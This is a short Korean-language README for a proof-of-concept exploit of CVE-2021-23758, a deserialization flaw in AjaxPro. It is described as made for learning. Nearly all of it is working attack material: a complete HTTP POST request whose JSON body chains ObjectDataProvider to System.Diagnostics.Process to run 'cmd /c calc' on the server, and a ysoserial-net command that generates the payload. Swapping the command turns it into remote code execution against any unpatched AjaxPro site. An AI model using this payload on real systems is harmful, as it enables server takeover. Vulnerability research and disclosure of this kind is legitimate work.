numanturle/cve-2021-23758-pocCVE-2021-23758에 대한 개념 증명 익스플로잇으로, AjaxPro의 역직렬화 취약점을 ObjectDataProvider 가젯 체인과 ysoserial.net 페이로드 생성을 통해 시연합니다.
이 저장소는 ajaxpro의 취약점에 대한 학습 목적으로 생성되었습니다. CVE-2021-23758 ID로 공개되었습니다.
POST /ajaxpro/CVE_2021_23758_POC.demo,CVE_2021_23758.ashx HTTP/2
Host: localhost:44375
Content-Length: 567
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96"
X-Ajaxpro-Method: TestAjax
Content-Type: text/plain; charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://localhost:44375
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost:44375/demo
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
{"obj":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo": {
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c calc"
}
}
}}
ysoserial-net -g ObjectDataProvider -f JavaScriptSerializer -c "calc" -o raw
